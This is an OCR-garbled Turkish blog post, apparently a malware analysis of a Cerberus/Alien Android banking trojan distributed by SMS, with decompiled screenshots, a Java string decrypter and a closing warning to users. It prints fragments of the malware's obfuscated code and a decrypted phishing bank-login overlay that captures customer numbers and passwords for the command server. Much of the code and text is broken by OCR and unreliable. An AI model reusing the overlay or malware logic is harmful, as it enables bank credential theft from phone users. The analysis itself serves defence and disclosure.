'yitawtmkqrnpZaf:
{uanthgrigkqtZDO0:
kovezgukzddwiGIaNg:

pqmd;:n‘vqu?j. 13
bucbeiprokoalizF e
JicxiInxf1tzNDF1ZA

TTTYORT= 773 =
e hucuncem this));
this.b.e(this, this.a.q));
a(e.i(this) ? "Fftghhzumtjlny="
this.b.e(this, this.a.C));
e.k(this));

Locale.getDefault() .getLanguage());
afe.bi(Context) this, (Class<3>) mgtzajwxvigk.class) ? "ffeghhzunxtiliny="
e.m(this));

Zhiw

"wnqyldrvipayh

e

25 “wmqyldrvlpayNzo="));

.
this.b.e(this, this.a.0));
checkCalling0rselfPermission (this.b.a.ak)
.. f(mmm‘, this));

) this, this.a.al[?
) this, this.a.al[1])
) this, this.a.al[2])
) this, this.a.al[3

))-getLinelNumber() :

? ((Telephonytanager) getSystemservice(”phon

(" luuyyutqjkuvmi 104
StringBuilder sb = new Stringguil
sb.append(a( "onxlxclgraxzoTk42v:d

¥y OWISZ

er ()5
f 2143001 kzDelnDkonzaR 1 VSN Rk

sb. append(jsonabject. tostring())
String d
StringBuilder sb2 =

sb2.append(d)
if 11) {

String &2
if (e2.contains(a;

= this.b.d(this, this.a.ar + this.b.f(jSONObject. toString()))
new StringBuilder();
sb2.append(a ("omxIxclgraxz0Tka2YxY 23001 KZDdHDkx IR 1M YSH Rig

this.b.e(this, this.a.m);
tqnnpilhogpiOTE=")

WL

@ Text search R - of

-

Search for text:

ODRINZIONN

Search definitions of:
Method

Cass

ZTQOZDIMDK
Search options:

7] Case insensitve

Node

® hdhpatrritcdgljiluiysg. ifacueugolkkhnf. yagtduosjtcdjxofosal .b

Code

public String ar = b("BbEPIURINGBTHEEZNTRHIEYZVENTIIVTBAEZyIIZHETEAZD:

[ 17 5ubat 2020 Pazartesi




& Online Java IDE favac 180.201) X + X

<« ¢ 0 enae # s ommBawe &o
m Hack 4 Career. Infor... m Linkedin W Mert SARICA (merts. M Inbox - mert.sarica. Other bookmarks
a publl( Finsl byte(] b(byte() barr) ¢ &
a2 Arr2 = new byce[bArr . length]; A
43 Far (int 1 bArr.Irngth 1+4) {

an this.b = (m; b+1) %

as int i2 = this.c;

a5 int[] sarr = this.s;

47 lnt 13 = this.

48 (2 + 1Arr[) 1) % 256;

a9 3(15 e a o)

58, ine[] iarr2 2 thi:

51 DART2[1] = (byte) (iArr2[(iArr2[this.b] + iArr2[this.c]) % 256] ~ bArr[il);

= s 5

51 1

=

56
57 // one class needs to have a main() method
58 public class Helloworld

59 {

61 publl( static String a(String str) {
62

63 ¥ 7/ return new string(new f(str.substring(9, 12).getBytes()).a(b(new String(sasess.getbecader (). decode (str.substring(12), 0), "UTF-8"3)));
61 return new String(new f(str.substring(9, 12).getBytes()).a(b(neu String(Basesd. getDecoder().decode(str. substring(12))))));

65 ption unused) {

6

67

68 ¥

69

76 private static byte[] b(String str) {

7 int length = str.length();
v byts[(length /21
;82 +=2) {
7 Sareriz 7 o] 2 (byte) (((hars(ter digit(str.chart(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));

7 return bArr;
i

s
79 public static void main(string[] args)

81 //  System.out.print(a("ccxrdsjycolvNjUIN]KSNDVKMTIINWIYODCXYYZY JBhZNT 2M2Y4NZIhZGVLMOMBNZ 1kYWISHZ FhMGYXZUSZHRNWF IHFd IMTHZYZA" ) ) 5

2 systen.out.printla(a(: stxub(ebu:memHzMZMSHvlSN]YZVTIINTIAY]QSZDkyY]V)YHU3NGuxNDgZHJ\ﬂNZUiN]hmM] E2YTUZNTNIYTFKZThmOD LY,
85 intln(a

86 System St PrintLn(a(" txhjmknfrdfqYzQuiTTZKrIZINDULOMXY Zcy ZTB INSE SMzgxYz£0ZDC50DKN ZHEUYRRLE JRINTQSY ThimiizZT TyNzd iz

z

[(command fine arguments) ]
[ COMPILE & EXECUTE Il PASTE SOURCE Il DOWNLOAD ZIP | [ default ]

_attacker&zip=q4du
nfo_deviceRz ip=q58u
ew_devi cedrip=goaus:

Successfully compiled /tmp/java_xBFgST/f.java
Successfully compiled /tmp/java_xBFgST/Helloborld.java <-- main method

le View Navigation Tools Help

DR s elsae|@ Bl
] B P = o
22 NpA. dex @ hxdhpatrritcdgljil _yagtduos jtcdj e % | @ hxdhpatrritedgljiluysg. i _yaqtduos jecdjxofosal.d 3 | @ hxdhpatrritedgljiluysg. i _yaqtduos jecdjxofosal.yqd 4|
.48 Source code o s
O VT 77 public final void c(Context context) { =
S 428 if (e(context, this.s.X).equals("true’)) {
 gurgxbpl 2P, a29 context.startService(new Intent(context, kivrzmhxlmnhesd.class)};
& hxdhpatrritedgliiluiysg S )
£ datjhneyiqfitkphupa |y
£ dwtzbbdabfeccudualzkln 432
i ebbaksssbrlasgxyq R fiml String d() {
> ry
8 fzxsth 435 return new JSONObject (this.a.aG).getString(Locale getDefault().getlanguage());
-8 1facusugolkkhnf i ¥ Sk fEsckcine wadl €
£ aay 437 return this.a.al;
£ bggarifpgndgiocalzqlkmmanr 438 }
£ buiugynnzjthiedgkicca 433| }
: B 440
W {soayatiiaitfeidonk 2a1|  public final String d(Context context, String str) {
& oznxpm ) aa2 String e = e(context, this.a.d);
 pgtjorsqpddtbtuhy] 443 new StringBuilder().append(e);
£ pzatgifzngerigujdab 444 a avar = new a();
-8 siyeyltxnkcburd 445 return aVar.a(e + this.a.am, str);
mtnm:d jtedjxofosal a
&8 )Sl:: ““53”; {3"" sl aas|  public final string e() {
SUOPFNIZHORDE 449 try {
£ dbgbxttbhfkhrotdbgxukzfux ase return new JSONObject (this.a. aH). getstring(Locsle.getdefault() . getLangusge() )5
£ djaykh 45 } catch (Exception unused) {
1 fexibzabytnegjtnhlyttpz asz return this.a.ak;
i itrlkztezelaxtfpzls o i i
-8 kpbxn P
8 tcfzajueajeq 456 public final String e(Context context, String str) {
£ ugahpnzku 457 if (c == mull) {
83 wjubmgn 1ziawdfujze 4ss Sharedpreferences s = context.g (this.a.ad, 0);
i % 459 < - sharedpreferences;
& yfacdpjugeyFiyFlduyg P d = sharedpreferences.edit(};
& znnralotuypcs i
Ga 282 return c.getString(ste, (String) null);
@b 463 }
-@ Bchildblouse 454 oo v ! -
@ Bereufatiguo 485|  public Final String f(String str) {
485 return a(str, this.s.sh);
® bwasmv i )
<& 455
@ cpeukpzpumbijfs 4s9|  public final String gtstring str) {
@ cuklitenuka 470 return b(str, this.a.ah);
d |y
an2 -
o8 < i J v
-@ Ecomicslin
® efdioknl ||| coce [Smei]

JADK memory usage: 0,35 GB of 4,00 GB [ Bluetooth Devices k
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CRBBE A e @ EL

] = 5 = E =
g’g‘;/‘gﬁi’ls — 2| ® hxdnpatrritcdgljiluiysg. ifacueugolkkhnf .yaqtduosjtcdjxofosal.b 3¢ ‘ O hxdhpatrritcdgljiluiysg. ifacueugolkkhnf .yagtduosjtcdjxofosal.Bchildblouse (. | © hxdhpatrritedgljiluiysg. ifacueugolickhnf.yagtduosjted; 4|,
6 = P = Py e IR =T =
i feeyncjafyaabgnhtegeckknro 21| public String P = b("raculwvthogfijczz
£ gurgxbphznhut sdyipkom 2| public String Q = b("rxbdxxyuaihtyjemh
i hxdhpatrritcdgljiluiysg 3 publicistringinic bt chifusgr kpomit:R I
& dqtinneyjqfitkphupa 2 publlic String S
25| public String T
@ dwtzbbdabfeccudualzklm % Haneae
& ebbaksssbrlasgxyq 27| public String v =
g Fzxsth 25| public String W =
 ifacueugolkkhnf 20| public String X =
Sl 2|  public string v =
aa)
gb . rifpgndgrxal zqlkmnanr 31| | psblicofringz
EEqrLipEmdeRxalzy 32 public boolean &
# buiwgynmzjthiedgkjcca 33 public String aA wpnqf xpgueliDN1YIQ2M2T LN zMhdllz E30MMSODR 1 ZmT 1ZWFkY 2V {YANDEAYTYSMDVANTZ 1267 1MGNh QL 2DV 1Mz U2MT ESHIAUSY§ Yy
-8 Fsoayqifuurxijrjdonk 34| public String aB = b( pfﬂ:xx1x‘.\pf‘7Dh10quVAEhNT“‘zMDF/rV; A2 U TY 3m kIT g3¥mE SVMQRN 5 ZDAKMIHI 7 TV Tg3¥§ A Zulin¥ TZkYIAZNDILOKES" ) 5
& oznxpm 35| public String aC = b("twruyboxyjctnTi TZhiAFZhE
£ pgtjorsopddtbtuny] 36| public String ab = b(" qk]qxg]]bqqunvkuummunkau]Ismusonrm‘m«n =
B pratgifzngcriguidab 27| public string aE - b("faofhugzLqENDQUITdnDC2Y ' ol
e 55| public String aF = (b(“auighbecluggZed="} + b(" khxsmt,\dthFkNu‘QAN RANJQZIMTOYIKIVTQSZHI2ZGHIVg==") + b("ahen Va6 IO BlMDQz") + ("] n1SZTe3NzguliDy
# siyeyltxnkcbur 39 public String a6 + b("uicayuuitlwaZnQBMTUYZGF iN2MXMGQzNGZLNIQXYTQRYWIXZNR 0T IyYTZ1 Zm A7EUS7EIE‘M]1NDVSND§2‘ mkvmumxwmuzqzmum DQAMMNINTU=") + b("tuppyxclgynzNjliZnusm2IzZ3M
 tnmk a8 public String aH = (b("auighbecluggZm=") + b("bsepmyxedoxnZTE@MzB1NDInMKQ3 ZDBhMAUAZNNKTHQZZDgXOGE Y TUYODASNTEGYHESY 20T TOYT TZNNEXOTK2N2FINU=") + b(" ‘ZAwZTK2YZg4NGBY Tg: ZGI0ZD
£ yagtduosjtcdjxofosal SL| puBLLc String ol - b( oeymotkppiZTBLYSVSOTIRNZI);
8 bsuoprbdgforpg 2| public String 2 - b("hu 1¥zQzoTran jgimavay 1 30M Y TH UMt
- dogbxttbhfkhrbtdbgxukzFux 23| public String ak = b 3 jpedsxchmf N VlIiULnd 0GRV F 0T ESHGNTHSNGYLIZUSH2US 2 Tg2MDQ3N; Y3MTI mran® )5
i 24| public String al = "PCFETGMUNVBFIGh@bii+C]xodal sIGxhbmCOInVUI JKPGh1YIQ+CiAEICABbIVEYSE] aGRyC 2VaPS IUVEYLOCT +CiAG ICABbHV@Y SBUY1 1S 123l 369 ydC TgY22udGVLADR1d2 1 kdGgozav2ai] LXdp ZHRoL CBpbm1@anF s Lt jiux 1P|
& djay ! as public Closs[] aM = {wzeojtewxipdf.class, vahzjmnlkpaq.class);
& fgxibznbytnegitmhlytepz 45|  public string aa Ye-")3
i itrlkztezelaxtfpzls a7|  public string ab
£ kpbxm 28| public String ac =
8 tcfzajueaicq aa|  public string ad
56| public String ae
 ugahpnzku g 51 public String af - b("ynatrwwueqses msonumm MTBh\ vamowkm.mme GRS™) 5
& wjubmgn] 1ziamafujzc 52| public String ag = b("nu ");
- yfacdpjugeyfiyfldwyg 53 public String ah = b(" Tmm g
@ zmnraiotuypcs si|  public String ai = b("dgismalvbaswYTI3INNG");
a 55|  public String aj = b(“ghgqxsxtugnkNDCINGQyZ]HyMaRINT 173 Z4Hmy iMTI DA jHTgyOWYSHDQYM] RANDF kYZA3ZD) 10TNRYTF SN2UANGNKZ  FhY 2T 1NWQ1 TDFRZJELMIL") 5
epg 56| public String ak = b(“wbclachthjhbMTA2ZTNLNIjNZQ2M2YINMIOTY4NGUINTAGYY1ZGUZZ JFRINERMHZaN JUn DEyIITC20DZNM2QSCTELMDEIOGUY YTZ iNlg==") ;
P 57| public String[] al = {b("btfudlthiwrti{¥yMzY3HzklY RaNDRRZJALNZ LoD uitzEY ZTQ1ZDRAYJNKNGUEYa Tz 1k ZTISNT I 1MF 121 ZT Tl ¥xZavAZ6QIN2 ThZ hiZAm="), b("usjkojrbuadzY v vk
T S s8 public String am = b(“fagusnnpkmeylmQ=");
@ Berewfatigue 58 public String an = b("kqbdlkxfctqclizky ZDMBHDE] YaUSNTEZMIF MZANTKSF Z1YiczYigzY UBNTgXYZQINTh inzy
@ buasmv 52| public String a0 = b("wapdmt LisFf2YIQaIIGHZDFRODVNZTOXEDK2Y LY TRAZGF 12 JA2HDM2ZaYSHzARY zhic myonvmMrmkmmmnnw;755,.7g
®c 51|  public String ap = b("1tiqfab?sujroDgaz{veVrQSYTERZNQR mml:rakwﬂoﬂq 3v dhznTe2Tve0D11N0e
® cpeukpzpunbijfs : P":if‘ i:”"s 9
Z 52|  public String ar
8;“”“9’"“"3 64|  public String as = b(“txhjnknfrdfqYzQuiTZkyZLNDUIOKIXYZCYZTBIH ‘]Esh
65|  public String at 3
Ecomicslim
5 Smal
© efdiokmlnxpnl - ||Lcode [Smai] Network 10

[ 1 JADX memory usage: 0,19 GB of 4,00 GB | Internet aceess

¢ Online Jova IDE javec 180.201) X (5 Online Java IDE (avac 18020 X = + - X
€ > C (r @& compiejavanet # s ommBawe &o
@ Hack4 Career. Infor.. [ Linkedin W Mert SARICA (merts.. M Inbox - mertsarica. Gther bookmarks
s =
a0

A public il bytel] Blptel] bhre) {

a2 72 = new byte[bArr. length];

a3 ety i < bArr.length; it+) {

aa Shis.b - (ihisb s 13 1
as int iz = this.c;

46 int[] dArr = this.a;

a7 int i3 = this.b;

a8 This.c = (124 )Arr[) 1) % 256 :
a9 a(i3, this.c, iArr); 3
50 int[] iArr2 = ms a3 ]
51 baArr2[i] = (byte) (iArr2[(iArr2[this.b] + fArr2[this.c]) ¥ 256] A bArr[i]);

52 ¥

53 return barr2;

54

55/}

56

57 // one class nesds to have a main() method
56 public class HelloWorld
3 {

m public static String a(String str) {
try
& /1 return new String(new f(str.substring(@, 12).getBytes()).a(b(new String(Base6d.getDecoder ().decode (str substring(12), 8), "UTF-8"))));
64 Feturn new String(nen F(str.substeing(0r 13)-getaytat ()] (binew String(Base6d. getbecoder(). dacode(str-substring(133)))3);
65 } catch (Exception unused) {
66 n "
67 ¥
i
private static byte[] b(Strlng str) {
int length = str.length(
byte[] Barr = new byte[(length JENE
for eng

m)\rr[;z ’ ?] (Eyte) (((hm:tez digit(str.charAt(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));

return barr;

blic static void mein(String[] args)

/stem. out. print (a("cexrds jycoluNjULNG KSNDVKHT I 1NKHYODCXY ¥ 2Y JBhZmT 2M2Y4NZThZGV1MOMBH 21 KYWT3H2 FhMGYxZ JUSZHRRMIF IHJd IMTHZYZA") ) 3

84 System.out.println(a("tsmvcbhuryiriI1061812Q2ZTHEODImY V] Y3NDU2HM) i ZD1KHTABZG=="));
85

[(command fine arguments) ]
COMPILE & EXECUTE 1l PASTE SOURGE 1L DOWNLOAD ZIP || defautt v]

Successfully compiled /tmp/jsva_yeAisj/f.java alien_ringo_wdfes
Successfully compiled /tmp/java_yeAis]/Hellobiorld.java <-- main method

Sira alien ring0 wdfes sifreleme anahtari ile daha once elde ettigim sifreli
verileri ¢ozmeye, sifreleme anahtarinin dogrulugunu teyit etmeye geldiginde
yazinin basinda belirtmis oldugum sahte ekranlarin (html) komuta kontrol

merkezinden geldigini de 6grenmis oldum.
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IBEE=av=H

Hriava &

Bl for (int 12

issues, please contact us (‘More Info') —->

be above the first

import java.lang.Math; // headers M
import java.util.Base64;

ass needs to have a main() method
lass Decrypter

public static String a(String sctr) {

() .decode (str.substr

String key = " 4 R i
try {
1 g (new f£(str.substring(0, 12).getBytes()).a(b(new String(Base64.getDecode:
return new String(new f(key.getBytes()).a(b(new STring(Base4.getDecoder().decode(str))))):
} cateh (Exception unused)
return "";
¥

vate stacic byte[] b{String sctr) {

length = str.length() ;

byte[] bArr = mew byte[(length / 2)1;
2 ; 12 < length; 12 +=

i
bATz[i2 / 2] = (byte) ((Character.digit(stz.chardt(i2), 16) <<

LMDMOMZ 1 YWI M2 FMG!

¢) + Character.digit(str.chazAt(i2 + 1), 16))/

"UTE-8"))));

Windows (CR LF)

)
o

Htiave £1| Bl Dscrpierieva | Blsaasng & EJaaammM

Edit _Search

View Encoding language _Settings Tools Macro Run _Plugins

s L@l Bipe|ltipl ts|BR

<!DOCTYEE html>
El<heml><nead>
<meta htep-equiv ype" nt="text/html;
<ticlel bank</title>
utf-8">

=<UTF-8">

<meta charsen=
</head>
El<body>

<style type="text/css">
body {
background: #03a9£4;

font-family: Helvetica, sans-serif;
background-size: 100%;

3

logo {

text-align: center;

background: HO3AIFA;
padding: 20px Opx 20px Opx:

i}
.form {
text-align: center:
padding-top: 70px;
3

.form label {
aisplay: block;

]

form {
display: inline-block;

3
fieldset {

porder: none;
background: #EEE;

margin: Opx 30px Opx 30px;
border-radius: 10px;

input[type="text"], input[type="password"] {
border: 1px solid #cacaca:
line-height: 16px;
font-size: 17px;
box-sizing: border-box;

[C:\Usersutert\Desktop>java Decrypter > aaa.txt

fC:\Users Mert\Desktop>

File

o

Bijava 1| El Decnplerjava &3

Macro Run Plugins Window

Bo

Tools

Edt Search View Encoding Language Settings
) s Bl (] || @ x| @EE
BHzaapng 3 EJaaammm\

Pa®|l@ BE DEE=avy=E

18 Subat 2020 Salu
ol

17 .style.display—

document . gecElementayId ( ik
}

</scripts

El<fieldsec id="formtosend">

="bireysel">

<div class="bireysel" i

"padding-bottom: 30px;">
nelick="bireysel() "><span Sty

El  <div class="menu" st:
<a href="#bireysel”
Bireysel</span></a>
<a hr 1" oncli

</div>

1()"><span st

<input name="bireysel mumarasi" maxlength="11" placeholder
<input name="birevsel p: placeholder="Parola" type="p:
<input name="type injects" value='banks' typs="hidden" required>
<input name="closed" "close_activity_injects' type="hidden" required>
<input name="sumbit" ong "send_form() ;" value="Girig Yap" "button">

float: left; width: 49%; background: white;

right; width: 49%; text-align

“Mogteri / T.C. Kimlik Nomarasi® onkeypress
5

left; width: 49%; text-align: center; padding: 10px Opx 10px Op

center; padding: 13px Opx 10px Opx; color:

right; width: 49%; text-align: center; padding: 13px Opx 10px Opx; color:

£ ( isNaN( String.fromCharCode (event.keyCode) ))

</aiv>
</fieldset>
E<f)e]dsat id="formtosend2"s
<div class="bireysel" id="karumsal" st display: mone;"s
= <div cla e="padding-bottom: 30px:">
<a nref="#bireysel" onclick="bireysel()"><span st
Bireysel</span></a>
<a href="fkurumsal” onclick="kurumsal()"><span Sty
</div>
<input name="kurumsal numarasi” maxlength Numarasi" v
<input name="kurumsal p. placeholder ype="p >
a banks' type="hidden" required>

‘close_activity_injects' type="hidden" required>
<input name="sumbit" onclick="send form2();" value="Girig Yap" type="button">
</aiv>
</tieldset>

"float: left/margin-to
"color: #£ff; padding-right: 10px:">&gt;</span><a

20px /padding-left: 30px;">

color:

</divs

E<script>

if ( isNaN( String.fromCharCode (event.keyCode) ))

#03a974; background:

return false:" typ:

BE3E3£3; : lapx:

text-align: center; padding: 10px Opx 10px Opx; color: #03a9fd;

#03a974; background-inag

return false:" type='text'>

600; border-bottom: 2px solid #FF9800;">

linear-gradient( white, #b2e7£f );">Karumsal</span></a>

( white, #b2e7ff );">

color: $03a9fd; : 600;

">Parolam Unattun</a>

white;

2px solid #FF9800;">Rurumsal</span></a>

&
Solve PC issues: 2 important messages
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string(@, 12).getBytes()).a(b(new String(Baseed. getDecoder ()
<y getBytes()).a(b(new String(Basebd. getDecader() .decode(str)))));
/2] .
((Zharacter digit(str.charAt(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));

public static void mein(String[] args)

System.out.println(a(”0DYyMmY ZNDRIMTHZDUSHZNSYWNMENUHUN 1 ZDZ INZKANTd1ZJALMGY SHmYBNZ Ty Y §IKATBRYRHINZhhNWQ2Nz € MZR MDgyMZgXZ JT INTQIZGFKZTgA0DBhY JZkOWQROWF LY 2Y@NJUIHT I112 I3 1 INDAWNZE AMDVHGHZ JQXMWEWHDY4ZHIOT1hAGYAYHY SNDKANK T XNmHSHDE Y NnOT AyMZNANGRHDOANGHI YUz

mmand li ts)
COMPILE & EXECUTE PASTE SOURCE DOWNLOAD ZIP default
Successfully compiled /tmp/java_t9Fsau/f.java
Successfully compiled /tmp/java_t9FsAU/Hellobiorld.java <-- main method

S\":\"Turkey\", \"eity\": \"Tstanbul\", \" state\": \"Kadikoy\", \"2ip\": | "348781", \"phone\": \"+
H

7 "311\",\"type_injects\":\"credit_cards\",\"closed\":\"close_activity_injec
“com.android.vending”, "IT" : "tleéghyx2fkrh6ohji1j"}

Sonuc¢ itibariyle son yillarda adindan 6zellikleri ile siklikla s6z ettiren
Cerberus mobil bankacilik zararli yaziliminin vatandaslarimizi adi ve
soyadini iceren SMS yolu ile hedef almaya basladigini égrenmek beni oldukca
sasirtti ve endiselendirdi. Her zaman oldugu gibi Android kullanicilarinin
bilmedikleri kaynaklardan uygulama yuklemekten kaginmalari gerektiginin
altini tekrar ve tekrar Onemle cizerek bir sonraki yazida gorismek dilegiyle

herkese glivenli glinler dilerim.
Not:

1. Bu glvenlik arastirmasini yaptigimda (2020 Subat) herkes tarafindan Cerberus
olarak bilinen bu zararli yazilimin daha sonra Cerberus v1 slrumidnden
catallanan Alien isimli bir zararli yazilim oldugu ortaya ¢ikmistir. (Eylil
2020)

2. Bu yazi ayrica Pi Hediyem Var #18 oyununun ¢O6zum yolunu da icermektedir.


https://www.bleepingcomputer.com/news/security/cerberus-android-malware-can-bypass-2fa-unlock-devices-remotely/
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html
https://www.mertsarica.com/pi-hediyem-var-18/

